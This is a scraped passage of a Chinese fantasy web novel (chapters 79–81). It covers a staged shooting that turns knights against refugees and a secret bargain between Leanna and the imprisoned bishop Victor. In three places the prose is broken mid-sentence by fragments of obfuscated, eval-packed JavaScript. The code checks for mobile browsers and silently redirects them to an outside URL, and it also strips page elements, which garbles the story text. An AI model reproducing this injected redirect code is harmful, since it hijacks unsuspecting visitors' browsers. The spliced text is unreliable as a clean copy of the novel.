他虽然对这位女士的豪言壮志满心钦佩,但现实却让他对这些流民的处境异常担忧。一群徘徊在无人区艰难求生的人,别说撼动那盘桓了千百年的枷锁,活过严酷的冬天都是问题。 “惭愧地说,我们还在想办法呢,旧的秩序需要改变这毋庸置疑,但我们所憧憬的那个世界要怎么建立,暂时没有人知道答案,我们也在寻找。” 莉齐察觉到海姆眼中的光芒暗淡了几分。笑着安慰道:“不过总会有答案的,人群早晚会有自己的答案,我想不到,也会有其他人想到,就像杀了领主带同伴们逃离领地,不是我来做也会有另一个莉齐来做,不在一年前那就在一年后,我们会找到那条路的,或早或晚。” 橙色的眼睛熠熠生辉,像炉堆里的点点星火。 79. 谈判破裂 叶夫根尼很快带着人来到了聚集点之外,要求莉齐等人交还海姆,他先交给了莉齐一批物资,说这是泰西防线的诚意,海姆倒是倍感意外,暂时没有猜测到他的意图。 示好后他才要求接海姆回到防线,海姆躲在莉齐身后的人群里,扫了一眼叶夫根尼带来的人,这些人并不完全是他自己的心腹,还有防线的其他骑士,看来他不会忤逆伊莉雅,暂时不会动海姆的性命,带着防线的其他骑士也是给海姆的信号。 海姆心领神会,从莉齐身后走出,和众人解释自己失踪是一个误会,并准备跟随叶夫根尼返回防线。 午后的阳光从云层的缝隙落下,哪怕是冬天也是暖融融的,莉齐看着海姆湖蓝色的眼睛在阳光下眯成了缝,他眉眼弯弯地和他们招手之后背过身去,留下了一个有些孤独的影子。按照推测,他暂时不会有性命危险,但牢狱之苦应该免不了,而他的长官阿纳托利哪怕得知一切后,也不一定能够及时救他。 海姆和亚瑟、罗杰那几个孩子一起离开才是明智之举,但这个思维清晰的人却选择留在了这里,莉齐知道,他是为了这里的流民。一旦叶夫根尼找不到他,便可以尽情将他的失踪和死亡全部推给流民们,他们将会直面最惨烈的清剿行动。海姆考虑到了这一点,所以才留下来了,他选择走向那个试图杀死自己的人,选择走向囚笼。 莉齐盯着那个逐渐变小的背影,忍不住握紧了拳头,朝他喊了一声: “海姆先生!” “嗯?”海姆回过头看着来送别他的这些人,看向人群前方的莉齐,她目光灼灼,像是愤怒又像是不满,她咬着唇像是要说什么,却沉默了许久,风将她的头发吹动,整个世界彷佛安静下来。 “我下次一定会给您答案!我们一定会找到那条路,所以请您一定要保重。” “好。”海姆笑着回答道。 下一秒他的笑容就僵硬在了脸上。 海姆的胸口出传来一阵锐利的痛,瞬间血流如注。时间彷佛在一瞬间凝滞。又像按了加速键,事态开始朝着疯狂的方向发展。 “有人用远程魔导器攻击我,但是是谁?叶夫根尼按理并不可能……” 他捂住伤口抬头,瞧见莉齐惨白的脸,他目光扫视莉齐身后的人群,有个流民端着魔导器站在了人群边缘,他即将开第二枪。 海姆立刻调动魔力启动了屏障,但迎面而来的那一击并没有打在海姆的屏障上。 “目标不是我?” 海姆回头看去,鲜血从叶夫根尼的左肩涌出,他像是万分痛苦的样子,斜着从马上摔了下来。 他明明是受伤了,却在坠地前深深地看了海姆一眼。像是狼在咬断兔子喉咙前阴狠又得意的神色。两人目光交汇的一瞬间,海姆才意识到他的真正意图。 “他要制造流血争端,激化矛盾!” 海姆调整呼吸、忍着痛朝莉齐喊: “莉齐,十点钟方向十二米,穿的是棕色的衣服,控制住那个奸细。” 莉齐掏出锤子就带人搜索过去。 那人没有躲藏,继续瞄准前来交涉的人群射击,在莉齐制止他前,又打中了一个防御不及时的骑士和叶夫根尼的亲卫。 坠马的叶夫根尼立即高喊:“大家注意防御,流民并非无害,他们存了袭击我们的心思。” 在他的警告中,骑士们逐渐靠拢,摆出了防守的阵型。 海姆明白,叶夫根尼是想抓着这个时机,给这场混乱的袭击定性。急忙解释:“此事尚不明确,可能是别有用心之人混入了流民之中,等控制住了来袭击的人一审便知。” 但他话音未落,就听见对面的人群中传来一声惨叫,那位开枪的人被莉齐击中了脚,已经被莉齐和其他民众控制。海姆本是松了口气的,先控制住行凶的人,之后再详细审问,有他自己给流民作保,事情并非没有回转的余地。 可就在大家正准备将这个杀手绑起来的时候,却看到那人的嘴角和眼尾流出血来。 “死了!他死了······” 人群的惊呼声传来,海姆和莉齐的心像是浸泡到冬天的冰湖中一般。杀手以流民的身份死在了流民堆里,叶夫根尼借题发挥有了充足的空间。 果不其然,叶夫根尼闻言立刻开始泼脏水:“我们今日来只是为了找回海姆长官,你们之前用物资要挟我,我们理解各位是生存所迫,所以也带来了物资交换长官,为什么还要偷袭我们!为什么要恩将仇报?” 莉齐立刻解释:“开枪的人不是流民!是其他杀手。” “那为什么刚才你们一走过去,那人就立刻死了,一切是如此凑巧,你们真的没有做什么手脚吗?” 海姆:“不可如此轻率地下结论,这想必是有人安插的杀手,目的就是为了挑起流民和我们的矛盾,自然会让这些杀手死在最合适的时候。” “呵,您是说有人要花费诸多成本,安插杀手并让其自杀只是为了抹黑这群防线外毫无威胁的流民?海姆长官的推测也太不合理了,这样做的目的是什么呢?” 叶夫根尼冷笑着看向海姆,海姆嘴唇颤动,欲言又止,那即将脱口而出的真相被他咽了下去。 叶夫根尼眯着眼睛,满意地打量着对方,他和海姆在防线的时候就已交手多次,深知海姆是位思虑周全的对手,但此时这份思虑周全反而成了他最大的弱点。 叶夫根尼故意找了几位普通骑士共同行动,最开始可以作为迷惑海姆和莉齐的信号,而现在又可以作为威胁海姆的道具,自己出于对伊莉雅命令的忌惮无法对海姆出手,但除掉两个知情的普通骑士那再轻松不过了。 只要海姆试图揭露说出真相,揭露自己试图挑起伊莉雅和阿纳托利矛盾的事实,他就会立刻了结这几个骑士的生命,回到防线后一并推给流民们就好。 海姆不提真相,就无法辩驳质疑,那几位骑士会成为最好的目击者。而揭露真相则会让无辜者丧命,同时海姆回到防线时的话也无人证明。 “您是如此周全,小心地维持防线运转,在意防线中的每个人,而这种试图保护所有人的周全让您一定会选择沉默。” 叶夫根尼心想着,看见捂住伤口的海姆,他果然在权衡之后犹豫了。对方的伤比自己重很多,此刻他的脸白得发灰,嘴唇毫无血色,额头上早就布满冷汗,连刚才辩解的气息都十分无力,叶夫根尼知道他的身体快要撑不下去了。 海姆还想尝试辩驳,他很清楚这是叶夫根尼设下的圈套,他和莉齐之前的推测出现了错误。 他们原以为哪怕叶夫根尼并非真心为伊莉雅效命,获取伊莉雅的信任也花费诸多心血,因此不可能轻易忤逆伊莉雅的心思,引起这位公爵的怀疑。 所以海姆和莉齐才会判断叶夫根尼暂时会把海姆先控制起来,不改变泰西防线目前的局势。而叶夫根尼带着骑士和物资来的假象加重了他们的错误推测。 没想到叶夫根尼竟然把自己都计算为了代价,安插杀手进入流民伪造这场袭击,让他自己和海姆还有骑士们都受伤,坐实流民挟持并有恶意的罪名,再利用此事鼓动伊莉雅干涉泰西防线的事务,挑拨伊莉雅和阿纳托利的关系。 此时还有其他骑士在场,若是不解释清楚,流民的处境将没有回转的余地。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身旁的几位骑士纷纷拿出魔导器指着她,用看杀人犯的眼神愤怒地盯着她和身后的人群。 叶夫根尼的声音再次响起:“所有人带上伤员即刻返回泰西防线,这些流民实在过分,竟然恩将仇报!” 他语气是那样痛心,像是为同伴的受伤感同身受。 “我虽无权调度泰西防线的骑士进行作战,但这事绝对不会就这么算了。” 叶夫根尼被下属扶了起来,已经昏倒的海姆也被架走。莉齐看着这几位骑士戒备地盯着他们这些流民,目光充满敌意,彷佛只要指挥官一声令下,他们就会立刻扑过来。 马蹄声逐渐远去,天色也阴沈下来。 莉齐没有移开目光,目光仍然落在骑士们消失的方向。她就这样独自站在前方,怔怔地看着地平线。 她此刻才意识到自己是多么地无力,哪怕过去几年她有所成长,但是还是不够,她从未和这类人打过交道,相较之下,她的心计、智谋、手段都太过稚嫩,她可以带着愤怒的流民杀死一到两个低等贵族,但面对那些拥有强大武装、手段高明的敌人时,她过去所积累的经验显得不堪一击。 她该怎么办? 叶夫根尼势必会开启对流民的清剿活动,他们所有人的性命都会成为贵族离间计中的砝码。流民们把性命交给了她,她不可能坐以待毙,继续留在这里和死了没有分别。 “莉齐小姐,我们现在?”一位同伴走上前来询问。 莉齐叹了口气,下定了决心: “我们不等芙蕾雅探路回来,我们立刻准备南迁。” 80. 与阶下囚的合作 从北地南下的冷空气被中部山脉群截断,抵达圣都的时候已经没有了最初肃杀萧瑟的模样,被分割成细碎的微风,溜进圣都的城门,跑过神殿前的露台、拂过高耸的钟楼、绕过古老的议政厅,再继续往南方跑去。今年圣都的春日并不算寒冷。 新年已经过去,随着早春到来,阿纳托利也顺利开启了防御司的新工作。防御司的人员选任的统一考核顺利结束,阿纳托利用新选出的人替换掉了防御司里的大部分钉子,给各方留了一两个眼线,让他们安心。 寇尔在马克西姆的辅导下,冲刺学习,在初春考核中擦线入选,其理论成绩优异但格斗技巧的分数较低,权衡之下,负责人事的斯捷潘还是决定让其担任文职工作,最后寇尔成为了防御司的见习财务员。 寇尔记忆力极好,计算分析能力很强,工作效率极高,入职后迅速收获一致好评。而同时期入职的另一位年轻人则算是公费追星了,奥兰多视阿纳托利为偶像,每天上班都格外有激情。 而哈克则比较可怜了,马克西姆因为寇尔这个成功案例在前,信心满满地认下了哈克这个新学生。在工作之余教这孩子课程,但教了两天后就意识到了学生不可一概而论。 在经历几次破防的教学辅导后,马克西姆对教学工作退避三舍,最终还是由哈克的老朋友寇尔接过了这份差事。哈克就一边给马克西姆打杂赚薪水一边在斯捷潘那里接受训练,晚上回到寇尔租的房子里学习那让人头大的课程。为什么就他一个人这么苦? 一切仿佛在逐渐步入正轨,东区也传来好消息。列昂尼德和神官们顺利接洽,防御司的介入并没有让东区发生外界预期的冲突。列昂尼德也在对接完毕后返回了圣都。 在莱安娜主教公布死讯后,不少人对空白的东区虎视眈眈。期待着群龙无首的神官们自乱阵脚、等待着东区贵族们的反扑、盼望着防御司空降后,东部神官们和阿纳托利的部下针锋相对,最好能有点冲突,让东部不再是铁板一块,他们便能趁虚而入,借着魔兽潮和管辖空缺狠赚一笔。 但是奇了,东区的局势异常平稳,格里卡尔为首的神官竟然没有表达出丝毫不满,相当平和地接受了防御司的接管。 “这可真是让我看不明白了。”维斯特利亚放下报告不由得啧啧称奇。 “格里卡尔和莱安娜一样,也是个硬骨头,怎么会对拿走自己指挥权的防御司如此友善?他被阿纳托利推荐当副司长还能心平气和?难道阿纳托利真这么有魅力。”她笑着摇了摇头。 “教皇陛下不必忧虑,马上就是春天了,格里卡尔神官作为兼任的副司长将会返回圣都述职。阿纳托利对东区到底控制到何种程度,如何施加的影响,到时候便清楚了。”露西笑着将茶递给了她。 真要论阿纳托利对东区的控制程度,其实答案是零。 在转交了信物后,格里卡尔便知道了莱安娜和阿纳托利的合作。表面上格里卡尔对阿纳托利言听计从,实则两人更像同事,毕竟两人协力处理东区魔兽潮本质上都是在听莱安娜的指令。 格里卡尔在前线很好地控制住了魔兽潮,教皇没有批准阿纳托利前往东区的申请,他只能在后方进行调度工作。但远程调度也并不轻松,阿纳托利几乎都是早出晚归,算起来莱安娜已经有快一周没有见到他了。 不过此时,她也有自己的事情要忙。 以阿纳托利的名义申请的探视终于批了下来,莱安娜今天打算去探视维克多,这人担着杀了自己的罪名,想必为了洗脱罪名不会拒绝自己的合作。 在前往探视的路上,列昂尼德对这位涉嫌谋杀但只是被监视居住的主教无比好奇。 “阿琳娜夫人,我有一点不明,维克多主教既然是瑞恩家族的人,这么一口黑锅扣上来,瑞恩家族为什么没有行动呢?” 列昂尼德觉得这完全不符合常理。 “说起来有些复杂,这和许多旧贵族的传统有关。”莱安娜耐心地说。 “维克多的姑姑卡梅里亚是相当典型的旧贵族,他们虽然也会学习使用魔法,但只是将魔法视为一种工具、魔法师视为给他们服务的下等人,因此她可以容忍维克多把学习魔法当爱好,但在维克多成为主教这事情上她是相当不支持的。” “我无法理解,成为主教不是能够为家族提供更多支持吗?若是未来成了教皇,卡梅里亚家族岂不是可以一手遮天。” “对卡梅里亚而言,维克多是唯一的直系亲属,她在乎家族传承。但主教要放弃家族爵位的继承权,所以维克多成为主教相当于放弃了进入贵族议会的资格,那才是他们的主战场;而魔法领域,有无数的旁系可以给他们做好。” “所以她其实是希望维克多能退出教会的?” “是的,这也是为什么瑞恩对于维克多被冤枉表面上没有行动的原因,我估计卡梅里亚和教皇已经达成了合意,对于维克多谋杀的指控最终很可能以重大嫌疑告终,到时候应该只会剥夺维克多教皇候选人的身份,算是双方各退一步吧。”莱安娜解释道。 “维斯特利亚要下一位教皇候选人绝对站在魔法师这一边,卡梅里亚需要继承议席和爵位的继承人。” 列昂尼德恍然大悟,随后他意识到了一个问题。 “但他不是在名义上杀死了您吗?为何没有惩罚?” “因为我没有家族给我讨还公道,我的死亡很多人也乐见其成。”莱安娜满不在乎地摊了摊手。 “但维斯特利亚教皇不怕东区有反对意见吗?我去东区交接时,当地其他神官和部分地方长官对您忠心耿耿。” “东区只能按照程序提出质疑,若是强烈反对那才是正中维斯特利亚下怀,我只是东区的管理人之一而已,若是其他神官、执政官反应过度,教皇陛下就可以以我生前勾结地方神官的合理怀疑出手了。卡丽安娜老师死后,教皇一直想让东区大换血,我们这些年一直小心谨慎,才没有被她挑到错处。” 这种如履薄冰的处境,列昂尼德听着都觉得一个头两个大。 “那这样说起来,维克多主教最坏的结果无非就是当不了主教,但丝毫不影响他继承爵位逍遥一生。” 列昂尼德听得眼珠子都快落下来了,心里开始极度不平衡。 “不是,凭什么啊?他命也太好了。” “对啊,他命很好的。” 莱安娜苦笑道。 “我最讨厌他们这种不用付出任何代价的贵族。” 二人很快来到了宅邸门口,莱安娜走到了结界面前,向管理人员出示了自己的探视申请书。 “阿琳娜·弗洛斯特,我代我的丈夫来探望维克多先生,他们曾是同窗。” 监视的工作人员在做了简单的检查后,打开了结界。 “探视时间为半个小时,只有阿琳娜小姐一人可以进去,请抓紧时间。” 莱安娜朝列昂尼德抱歉地笑了笑,朝结界的裂隙走了进去。 跨过结界缝隙的一瞬间,能够感受到重若千钧的压迫感和寸步难行的阻滞感。 进入结界后,维克多的管家带她来到会客室,等了一刻钟,会客室的大门被推开了,莱安娜身后传来了维克多的声音。 “我听说阿琳娜女士代表阿纳托利来探望我。” “是的,我丈夫和您是同窗,这几日他太忙了,所以我代他前来问候您。” 莱安娜背对着他回答道。 “因为配合调查未能参加二位的婚礼,我非常遗憾,很荣幸今天能和您见面,时间正好,如果不介意,我们可以共进早餐。女士您不必拘束,在这里可以畅所欲言。” 他一边说着一边坐到了莱安娜对面的沙发上,不忘快速检查了一下室内的结界魔法,确认监视因为他的干扰魔法没有覆盖到会客室。这人看上去没有一点阶下囚的狼狈,穿着规整考究,头发打理得也相当精神。 抬头时,他才看到莱安娜的正脸。 刚才灿烂的笑容消失得无影无踪,那双清透的蓝色眼睛仿佛快落出来。 “你……” 他不再顾忌体面礼貌,不可置信地抬手指着莱安娜,嘴唇动了两下,但没有说话。 莱安娜只是面带微笑地看着他。 维克多愣了半晌,回过神来后,冷笑了一声。 “我就知道你没那么容易死,莱安娜!” 他目光变得异常锋利,再次上下打量对方一番。 “不仅没死,还又和阿纳托利搅合到了一块儿去……改头换面,改名换姓,你们还真是花样多啊……” 维克多白眼就翻得愈发明显,同时不忘展开破除幻境的魔法。 但莱安娜的面容在他的法术下并未发生变化。 “你换了张脸,但不是幻术,有点意思啊。” 他端详着这张有些陌生的面孔。 “都换了张脸了,你怎么认出我的?” 莱安娜饶有兴趣地看着他。 “怎么?以为你五官变一下我就认不出了?你那副讨人厌的样子化成灰我都能认出来。” 他嗤之以鼻。 “这么快认出我,我真的很感动啊,维克多。” 她双手合拢,似乎真的满心欢喜。 “求你快打住吧,不过你竟然没死?” “怎么,看到我没死你很失望?让你筹谋已久的愿望落空了?” “你知道不是我!” 维克多气得从沙发上站了起来。 “那可不一定。” 莱安娜托着下巴,似笑非笑。 “别开玩笑了,你要是真觉得是我,今天就不会出现在这里,暗中下毒也好、落井下石也好,总之不会亲自出现在这里,你来找我有什么目的?” 话说到这个份上,莱安娜也就开始正题了。 “你还记得我们本来的计划吗?” 她正色问道。 “教皇本想让阿纳托利是会和你一起负责东区的剿灭工作,但你不愿让他插手,打算想办法把他调到我的西区。作为交换,你会接收我在西区私下生产的全部魔导器。” 维克多叉着手不满地说道。 “但现在看来我们都没法如愿以偿了,你“死”了,东区缺位,阿纳托利必须去东区,虽然他现在还在圣都远程指挥,一旦灾情加重,应该就会立刻前往。我们什么也做不了,我是阶下囚,而你是个死人。” 他无奈地耸了耸肩。 “别说这么丧气的话。” 莱安娜扫了维克多一眼。 “你倒是乐观,但没道理啊。你才是更该着急的人吧。” 那双蓝色的眼眸中难言幸灾乐祸的笑意。 “你费尽心机让阿纳托利远离东区,不就是不想让他取代格里卡尔的岗位吗······不对。”他话一说出口,瞬间意识到了蹊跷之处。 若是莱安娜目的是为自己人争取权柄,现在木已成舟,她已经没有再干涉此事的理由,那她为何还要坚持阻止阿纳托利前往东区? 他在大脑中飞速地过了一边二人过去的经历,突然想到了另一种可能性,脸上又出现了惹人烦的笑容。 “别浪费时间在不存在的问题上,这和我们的交易无关,也和你无关。”那双如幽潭一般的眼睛直视着维克多,她的语气没有一丝波澜。 “不对,我怎么忘了,确实有件事呢。” 他笑了起来,饶有兴趣地盯着莱安娜。 “你刚才说和我无关?” 维克多笑得意味深长。 “你我过去合作得挺愉快的,怎么现在就急着撇清关系了呢?敢做不敢认了?不就是手上沾了血吗,这么怕被阿纳托利知道?” 莱安娜厌恶地皱了下眉:“你想得太多,我不愿意阿纳托利去东区,是因为按照规律,要不了多久东部第四区可能会出现高强度的魔兽潮,那不是他能应付的,我得亲自去。” “那你还真是好心。” 他阴阳怪气地回了一句,随后笑着问。 “那现在善良的莱安娜小姐,你想怎么办?” “我会帮你洗脱嫌疑,然后恢复我主教的身份,我会和阿纳托利一起去东区。而你得官复原职后帮我做一件事。” “什么事?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190838|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你精通攻击型魔法,而且对魔法技艺研究颇有心得,恢复自由后和我一起结合诅咒的理论,研究一种可以大范围消除魔力本身的魔法。” 维克多一怔,不可思议地盯着莱安娜。 “比光域魔法的范围还要大?” “没错。” “不可能。” “理论上可行。” “理论,理论!哪有这么容易!我看你研究古代魔法和基础原理研究傻了!消除魔力比单纯输出魔力消耗更大,我三年前开发的光域魔法是人体所能承受的极限!” “你也说了这是身体的极限,而不是魔法的极限。” 莱安娜抬眸盯着他。 “如果不计施法人的生死呢?” 她平静地发问,绿色的眼眸冷得如一潭死水。 “理论上……确实可以,但我们只能编写咒语,在使用之前,这个魔法没法验证。” “足够了。” 莱安娜总算露出满意的微笑。 “你要这种魔法做什么?你想杀谁?不会是我吧!” 他故作夸张地提高了音量,环抱双臂。 “我要杀你的话,绝对不会让你走得这么痛快的。” 莱安娜笑着安慰道。 “这件事就这样定下了。” “别定得这么早,你还没说怎么帮我洗脱嫌疑呢。” 维克多有些烦躁地抓了抓自己的头发。 “只需要为我的遇害找到真正的凶手。” “不是找真正的凶手,而是找个更有说服力的替死鬼吧。真正的凶手有能力杀掉你,还能在你生死不明时公布你的死讯,扣到我的头上,我猜是教皇那个死老太婆,但想把维斯特利亚绳之以法不太现实,你找一个顶罪的人,只要这个人只要能让维斯特利亚满意就行。毕竟她没杀成你,但能借这事除掉其他敌人想必她也乐见其成。” 维克多补充起了自己的想法,但莱安娜并未有所回应,他便接着抱怨起来。 “不过,现在只能靠你了,你看我现在哪里也去不了。” 这人装作无可奈何般地摊了摊手。 “我自有打算,今天来找你不是为了指望阶下囚参与行动。” “那你还想要我做什么?” “我听说瑞恩家族百年来一直都在收集各类顶尖的魔导器和魔法结晶,由直系血亲掌握宝库的钥匙,反正你都出不去,不如把瑞恩家族的宝库钥匙借给我。” 维克多深吸一口气。 “你的消息很灵通啊,连宝库的事情你都知道?” “过奖了,毕竟我兄长曾经与您还算融洽。” 她托着下巴,笑着瞥了维克多一眼。 “我没想到你胃口这么大,竟然打起了宝库的主意!那可是我的家底。” “谦虚了吧,瑞恩家族积累多年,宝库所存不过九牛一毛。” “宝库里收藏的是精良的魔导器,每一件的价值都不是金钱可以衡量,你这个疯女人,你要这么多魔导器做什么?” “这就和你无关了。” “你的要求未免太过分。” “你也可以不答应啊,但是四个月后就是终审裁决了,你猜你的好姑姑和教皇会不会联手逼你离开教会?” 她笑着喝了口茶,瞥了一眼维克多。 他有些犹豫,莱安娜的计划他一无所知,大费周章收集魔导器,研发攻击魔法的目的是什么呢? “真不想答应她的要求,在不知道她目的之前贸然参与魔法开发和魔导器交易太危险了,但现在也只有她能够洗清我的嫌疑,毕竟维斯特利亚她们是铁了心要剥夺我教皇候选人的资格……” 他心里盘算着,然后抬头不满地瞪着对方,莱安娜正气定神闲地喝着茶,这幅胜券在握的样子让维克多心里的无名火蔓延开来,但当下也只能把火收在肚子里。 他思考半晌后终于下定了决心。 “我答应你,但是我要知道你计划的进度;另外,钥匙不能给你,也不能带你去宝库的位置;不过你想取什么东西都可以,我的副官克里斯会把清单给你,你想要什么告诉他;而且无论你有什么计划,必须保证我姑姑的安全。” “哦?她都这样对你落井下石了,竟然还在担心她的安全,你们姑侄感情这么好?”莱安娜讥讽地笑了一声。 “但你现在没有和我讨价还价的资格,维克多。” “谁说我没有?”他说着,从脖子上解下一个坠子。 那枚金色的挂坠仿佛有生命一般,躺在他掌中竟然有规律地在律动,像是一颗心脏。 “这是?” “阿纳托利限制措施的钥匙,不过这是其中一把,还有一把我藏在其他地方。” 莱安娜闻言眼睛不自觉睁大。 维克多:“你应该不希望自己的合作者被压制魔力吧,只要你答应我之前的要求,我可以立刻毁掉这一半钥匙,解开阿纳托利身上的部分枷锁,等你兑现承诺,剩下一半我会转交给你。” “我以我死去家人们的灵魂起誓,我会兑现承诺。”她认真地盯着对方。 维克多点了点头,手中的金色魔力凝结成飞速旋转着的利刃,转瞬间将掌中的钥匙吞噬,撕裂成碎片。 “没想到你都成了阶下囚,教皇竟然没有回收钥匙。”莱安娜挖苦道,按理这钥匙此时由贝拉保管最为合适。 “这可是女神亲自刻在我身上的权能,你当真以为这可以随便剥离转让?”他不满地瞥了莱安娜一眼。 莱安娜:“好了,我对女神给你下的诅咒不感兴趣,我比较关心你如何给我魔导器。你现在还是囚犯,要如何给副官克里斯下达指令呢?” “你带上这枚戒指去找他,他看到了自然会明白。” 他从自己的拇指上取下了戒指扔向对面。 莱安娜接住了那枚戒指,非常传统的设计,白金打造的戒身,刻着复杂的家徽标志和装饰,比较特别的是其上镶嵌的并非是寻常宝石,而是一枚顶级魔晶,在室内的灯光下蓝得夺目。 “合作愉快。” 81. 共犯 莱安娜将戒指放入口袋,准备结束今天的探视,维克多却在此时再次发问。 “你为何要帮我?你如过想要成为教皇,与我合作并非最好的选择······而且为什么要开发新的攻击魔法,你的真正目的到底是什么?” “不必如此紧张,我如果对成为教皇没有兴趣,不是更好吗?你应该对我更放心才对。” 莱安娜笑着起身,整理起自己的裙摆, “说不定等你洗清嫌疑出去,帮我开发出清除魔力的魔法后,我心情好还能在支持你成为魔法师之首上出出力呢。” 她笑容仍是挂在脸上,但眼底那熟悉的决绝和冷漠让维克多下意识神经紧绷。 “不对,如果是图魔导器,莱安娜完全可以等我被全面查封后,再进行运作,如果是要恢复主教的身份,和我这个阶下囚联手并非最好选择,我一旦恢复身份将会是继任教皇的竞争者。难道她真正的目的其实并非成为教皇······但是如果不是为了教皇之位,为何又要想尽办法重回圣城,寻找时机恢复主教身份呢?” 他的内心十分困惑。 “艾夫忒宁家族的清洗、东部四区的魔兽潮暴乱、杀死自己的老师、维斯特利亚的暗杀、与阿纳托利的合作、给我洗清嫌疑……她到底要做什么?” 诸多事件在他脑海中快速串联,他缓缓开口。 “我曾以为你是个迷恋权位的人,但你在担任家主后,将爵位转让给了旁支的小孩,那时候你只是一我本以为那是作秀罢了,毕竟教皇的宝座更吸引人,但你现在的计划又不像是为了教皇之位?你到底想要什么?” “那和我们的合作无关。” 她还是用那句话堵死了维克多的所有疑问。 “你这个家伙还真是油盐不进,对我这么冷漠做什么?我可是你关系最密切的合作者!” 他不满地抱怨。 “谁和你关系密切了?” 莱安娜嗤之以鼻。 “对,你和阿纳托利才是关系密切的合作者,都结婚了能不密切吗?我才不信你和他结婚只是为了借北地人质这个身份。” “你这话是什么意思?” 莱安娜皱起了眉。 “你对他太别有用心了。” “你想得挺多。” 莱安娜说罢便要离开,不想再与他浪费口舌。 “别以为我不记得,你在学院的时候就和他走得挺近,一起打联赛、还帮他逃回北方,北方叛乱,听到他阵亡的假消息时,你的表情可精彩得很啊。” 莱安娜没有说话,起身走向了大门。 “同样都是合作者,你为什么对他如此偏心!” “你要是有阿纳托利一半厚道,我也会对你好脸色的。” 她扔下一句话,直到走到门口的时候,维克多的声音在她身后幽幽响起。 “你错了,莱安娜。” 他环抱双手,盯着对方的背影。 “恕我直言,一直以来我才是你最该选择的人,不是吗?我才是能完全理解你的人,毕竟我们知晓彼此的一切,包括最不堪的一面。” “别这么说,有点恶心。” “行,不说这个了,还是祝福我们能像上次一样得偿所愿吧。” 他说这话带着笑意。 “就像当年我们一起除掉你兄长文森特一样,我们可是共犯啊,莱安娜。” 莱安娜停下了脚步,没有回头,停下两秒后她打开了门。 “我猜阿纳托利还不知道吧,这才是你不想要他去东区的原因,要是知道自己引为挚友的人竟然如此心狠手辣、不择手段,他会怎么………” 她狠狠地关上门,连带着那人聒噪的声音。 列昂尼德在结界门口等得百无聊赖,终于在一个钟头之后看到了走出来的莱安娜。 她走得很慢,眉头不自觉地皱着。 “走吧,列昂尼德,我们还需要去下一个地方。” 尽管她的语气已经尽可能平静了,列昂尼德还是敏锐地捕捉到了其中的几分疲惫与倦怠。 “您······” 他开口询问的一瞬间却迟疑了。今天这事属于莱安娜的私人事务,阿纳托利也只吩咐过保证莱安娜在魔力拘束期间的安全,自己真的有资格去干涉职责以外的事吗? “怎么了?” 她转过头笑着盯着驻足不前的列昂尼德。 “没什么。我看您心情不太好,是和维克多主教没谈拢吗?” 莱安娜笑容不自觉地僵了一下。 “我没有干涉您事情的想法,我只是感觉到您很不开心……” 他有些不好意思,开始后悔自己多管闲事了。 “不用这么拘束,列昂尼德先生,您有问题尽管问我,我和阿纳托利已经达成约定,除了涉及北地的事务,我们没有秘密。” 她态度异常温和,倒是和列昂尼德预期的相差甚远。 “所以今天去找维克多主教……” "这件事很顺利。" 仿佛为了让他放宽心,莱安娜说这话的时候甚至还带着笑,连刚才眉头间的那丝愁绪都不留痕迹地藏了起来。 “只是具体内容三言两语也很难说清楚,而且我可能还要和阿纳托利商量,所以刚才没有立刻回应你。如果您感兴趣,一会儿回到宅邸我再解释。” “没事,小姐您不必在意我,只要事情顺利就好,因为您刚出来的时候真的很没有精神。” “或许是和疯子聊天真的很摧残人吧。” 她无奈地补充道。 “其实我一直都有个疑问,为什么大家要叫维克多主教疯子呢?除了您以外,我来南方后还听其他神官提起过。” “因为他是一个纯粹的魔法师,对于魔法的痴迷堪称疯狂,为了成为魔法师放弃了家族爵位的继承权;在西区魔兽潮肆虐的时候申请前往前线,却不是为了救死扶伤、也不是为了建功立业。” “那是为了什么?” “为了磨练自己的魔法技艺。”莱安娜叹了口气。“帝国的各类矿脉大多分布在西区,也是龙形魔兽的聚居地,地脉恶化后,不少和人类和平共处的龙裔全发了狂,龙形魔兽远超寻常魔兽的破坏力,西区岌岌可危,但维克多只用了两个周便平定了战局,并因强大的实力被女神破格钦定为教皇候选人。” “我们只知道维克多主教负责西区的防御,不知道竟然有如此辉煌的功绩,教会竟然没有大肆宣扬?”列昂尼德突然察觉到了蹊跷之处。 “因为维克多不止是杀死了魔兽,他清扫了整个沦陷区,您明白吗?”莱安娜的语气变得更加沉重,“他追求魔法的极致,开发出的光势魔法在范围和攻击力上做到了极致,根本不区分攻击对象。他来到前线的目的就是战斗本身,至于会不会误伤自己的同事他毫不在意,至于误杀平民更是漠不关心,西区的魔兽潮因他很快终结,但也造成了诸多不必的伤亡,经此一事,他疯子的名号也就传开了。” 就为了提升魔法技艺,发动无差别的攻击,那和魔兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199781|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有什么区别? 列昂尼德现在觉得叫他疯子一点都不冤枉他。 但很快列昂尼德意识到了另一个问题:“我还是觉得有些奇怪?维克多的功绩是建立在残害民众上的,女神为何没有加以惩戒?而是钦定其为教皇候选人?” 